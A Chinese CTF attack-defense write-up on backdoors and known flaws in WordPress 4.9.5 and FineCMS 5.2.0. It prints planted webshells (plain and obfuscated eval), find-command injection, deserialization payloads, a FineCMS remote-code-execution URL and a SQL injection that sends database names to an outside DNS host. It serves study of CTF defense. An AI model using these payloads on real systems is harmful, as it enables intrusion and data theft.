这次的红帽杯线下赛,两个Web被打的一头雾水,不知道怎么回事...
于是赛后进行了漏洞发现和总结,有了这篇文。
漏洞发现方式
赛后为了可以找到绝大数主办方留下的漏洞,我选择下载官方对应版本的cms,然后进行diff
这里的
web1为wordpress 4.9.5
web2为finecms 5.2.0
值得一提的是,finecms除了有主办方预留的漏洞外,还有cms本身的漏洞,大概算是1day吧
windows上推荐的diff工具为:DiffMerge
但实际比赛中,并不会开放外网,而以前万能的D盾现在也只能发现比较显而易见的预留后门了
所以具有关键字符搜索,审计的能力也很重要
不得不佩服比赛时候的大佬们,竟然可以在很短的时间内,发掘出各种漏洞(D盾可查杀马之外),并迅速编写poc打全场
以下是源码分享:
链接:
https://pan.baidu.com/s/1vNzET0feN-SmaZEEaq3MEA
密码: dvxk
web1
漏洞我一共发掘出4个,全部是主办方预留的后门,除了index.php显然可见外,其他都是我Diff发掘的
所以说我很佩服大佬们的快速审计能力,因为这些洞基本是主办方插在一些正常文件中的,只能说技不如人,甘拜下风~
命令执行1
文件路径
/wp-admin/tools.php
代码截选如下
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
@$poc_2($_POST['_']);
非常容易看出
@assert($_POST['_']);
显然是一个常见的小马,就不多说什么了
命令执行2
文件路径
/wp-login.php
代码截选如下
php
case 'debug':
$file = addslashes($_POST['file']);
system("find /tmp -iname ".escapeshellcmd($file));
break;
根据官方手册
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
只要不出现这个字符,即可不受addslashes()影响
然后发现系统会执行find命令,后面参数可控
我们测试加上-or,发现
sky@ubuntu:~/Desktop$ find /tmp -iname sth -or a
find: paths must precede expression: a
Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec|time] [path...] [expression]
明显看到有exec参数
我们尝试
sky@ubuntu:~/Desktop$ find /tmp -iname sth -or -exec ls
find: missing argument to `-exec'
但是发现会被告知缺少参数,查阅资料可以知道:
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。
我们尝试
find /tmp -iname sth -or -exec ls \;
发现程序会循环打印ls结果
我们加上-quit以只打印一次即可
sky@ubuntu:~/Desktop$ find /tmp -iname sth -or -exec ls \; -quit
difflog v5 vmware-tools-distrib web2.txt zzz
finecms_5.2.0.zip v5.txt web2 web2.zip zzz.txt
发现成功进行了ls命令
尝试读文件
后得到
poc:
file=sth -or -exec cat /etc/passwd ; -quit
为什么;前不需要加转义符?
因为escapeshellcmd()官方手册是这样描述的:
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
所以经过处理,程序会自动给我们的;加上转义符
php > $file="sth -or -exec cat /etc/passwd ; -quit";
php > var_dump(escapeshellcmd($file));
string(38) "sth -or -exec cat /etc/passwd \; -quit"
命令执行3
文件路径
index.php
代码如下
php
@eval($_POST['admin']);
可以发现是一个明显的小马,耳熟能详,不再详解
命令执行4
文件路径
wp-includes/class-wp-cachefile.php
代码如下
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}
public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);
赛后我进行研究的时候,找到原题
https://github.com/bl4de/security_whitepapers/blob/master/RIPS_PHP_Security_Calendar_2017.md
真心服了,不过这个洞应该在比赛的时候是用不起来的
首先??是php7的新特性,而比赛的时候php应该是5系列的
其次是主办方魔改题目
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data))
这里直接改出了bug
最后一个`\`转义了`/`,而原题,这个`\`是用来转义`{`的,主办方强行删除`{`,导致直接有了语法问题。。。。。
Warning: preg_match(): No ending delimiter '/' found in 222.php on line 12
简单说明一下构造流程
1.首先传入$_COOKIE['data']
2.触发__construct()
3.触发$data = $this->loadData($data);
4.触发unserialize($data);
5.触发__destruct()
6.触发createCache()
7.最后来到file_put_contents($file, $tpl);
达成任意写文件的目的
构造
<?php
class Template {
public $cacheFile = './sky.php';
public $template = '<?php phpinfo();';
}
$a = new Template();
$data = serialize($a);
echo $data;
得到
O:8:"Template":2:{s:9:"cacheFile";s:9:"./sky.php";s:8:"template";s:16:"<?php phpinfo();";}
添加上绕过检测的部分,最后给出payload
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:9:"./sky.php";s:8:"template";s:16:"<?php phpinfo();";}}
简单说明一下,首先利用
a:1:{i:0;..........}
绕过第一个检测
(substr($data, 0, 2) !== 'O:'
利用`+`绕过第二个检测
!preg_match('/O:\d:\/', $data)
其他
剩下的我还找到一些不知道是不是别人马的文件,这里就没有分析
因为感觉像是上来就被种后门了,类似于
<script language="PHP">if(md5($_GET[guo])==="fe831851246d186db20c229fa19a0172"){@eval($_POST[power]);}</script>
这种带了md5才能使用的后门,个人感觉应该是别人的马
但是比赛刚开始就被种上了,我就很迷,因为简单的洞我们都是上来就直接注释了,难的洞不会1,2分钟就写好POC打全场了吧= =
所以我分不太清楚是主办方留的还是大牛的手速太快……打了几场AD,这还是第一次遇到这么快被种后门的= =
另外听说还有巨巨们使用了Ubuntu16.04.4本地提权漏洞,直接在给予权限极低的web1机器上获取了root权限,并还进行了批量利用提权……本菜鸡真的是佩服
web2
这里用D盾可以简单查杀出2个明显的shell
剩下的我同样是diff+根据流量+google找到的
命令执行1
文件路径
./config/site/1.php
问题代码如下(为节约篇幅,这里截选关键代码)
'SITE_DOMAINS' => '123sadccv=>1)&&($_GET[a]($_GET[b]));exit();$a=array(a', //网站的其他域名
可以明显看到webshell
($_GET[a]($_GET[b]))
触发方式也很简单
a=system&b=cat /flag
即可触发命令执行漏洞
简单演示一下
<?php
$a='system';
$b='dir';
$a($b);
?>
运行结果
2018/03/26 07:27 1,176 pgAdmin4.exe.lnk
2017/08/30 20:36 202 Plague Inc Evolved.url
[Finished in 0.3s]
命令执行2
文件路径
./config/site/2.php
可以看到该文件为混淆过的小马
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(50).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
我们简单调试一下看看什么结果
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(50).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
var_dump($_cC);
?>
得到回显
string(16) "eval($_POST[2]);"
[Finished in 0.1s]
可以看到就是一个很简单的小马:
eval($_POST[2]);
这个就不用演示了,想必大家都熟知
直接在post里使用即可
2=phpinfo();
命令执行3
由于当时被打的很懵逼
赛后我进行了整理,首先确定了finecms的版本:
<?php
return array(
'DR_UPDATE' => '2017.12.28',
'DR_VERSION' => '5.2.0',
);
下载了相应版本的finecms
然后进行文件夹内容diff
发现如下新增文件
文件路径
./finecms/dayrui/config/config.class.php
我们定位到代码
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['param'])){
$config->$_GET['param'];
}
class FinecmsConfig{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
}
}
public function SetFilter($value){
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
$this->SetFilter($key);
die("");
}
}
很容易看到关键函数
call_user_func
这让我立刻想到了命令执行
随机我构造了测试脚本
<?php
class FinecmsConfig{
private $config;
private $path;
public $filter=array('system','system');
}
$fuck = new FinecmsConfig();
echo base64_encode(serialize($fuck));
?>
生成构造出的序列化base64编码值
TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319
简单利用
php
<?php
class FinecmsConfig{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
}
}
public function SetFilter($value){
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
$this->SetFilter($key);
die("");
}
}
$config='TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319';
$config = unserialize(base64_decode($config));
$param='dir';
if(isset($param)){
$config->$param;
}
发现即可命令执行dir
接下来寻找$config的传入点,我们定位config.class.php文件
全局搜索后即可发现文件包含
文件路径
./finecms/Init.php
文件内容
if(isset($_COOKIE['FINECMS_CONFIG'])){
$config = $_COOKIE['FINECMS_CONFIG'];
require FCPATH.'dayrui/config/config.class.php';
}
发现只要cookie FINECMS_CONFIG为
TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319
即可用get参数param任意命令执行
命令执行4
这是抓到的别人payload发掘的
/index.php?c=Api&m=html&name=search&format=html¶ms={"search_sql":"' action=cache name=block.L]=eval(base64_decode($_GET[f0ck]))&$cache[L"}&f0ck=c3lzdGVtKCJjYXQgL2ZsYWciKTs=
比赛的时候不知道怎么回事
赛后一搜,发现是别人2018年3月审计的洞,算是1day吧= =
我说怎么diff不出来,原来是cms自带漏洞
文章链接
https://zhuanlan.zhihu.com/p/35133267
http://lu4n.com/finecms-rce-0day/
payload:
http://localhost/index.php?c=Api&m=html&name=search&format=html¶ms={"search_sql":"action=cache name=block.L]=phpinfo()&$cache[L"}
sql注入漏洞
同样是赛后搜到的cms自带漏洞:编号CVE-2018-6893
参考链接
https://bbs.ichunqiu.com/thread-36673-1-1.html
poc:
index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(selectload_file(concat(0x5c5c5c5c,database(),0x2e6e65766a32372e636579652e696f5c5c616461)))as total
蛇皮修复法
对于web1当时很痛苦,1是流量没有抓全,找不到问题,2是权限问题,需要拿自己shell再操作,这里我没有什么好的修复办法,也没有保护好这台机器。。。被打了一天……很伤心
而对于web2洞过多,并且包含cms自带漏洞问题,又没有外网,于是我利用了一些小聪明
即总结了check方式
发现check每5分钟只会请求一次index.php和admin.php(因为这里抓到了流量)
且均为get方式,无参数访问
这意味着check可能只通过判断状态响应头是否为200,或者是否当前页面有某些关键信息,来判断主机存活
于是我很蛇皮的ctrl+s保存了index.php和admin.php的前端
然后删光了web2所有文件,将两个纯静态html+静态文件夹上传到服务器。。。
然后就很舒服的过了check,并且永远没有再被攻击……XD
真的服了这个check机制了~
后记
这次AD应该是被打的最惨的一次了,个人审计能力和大佬们的差距真的很大,这次记流量的东西也没部署好,导致直接血崩了。
必须好好反省一下,技不如人,甘拜下风。
文章中可能并没有包含到所有漏洞,若有什么新的发现,请补充,感谢!
-END-
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有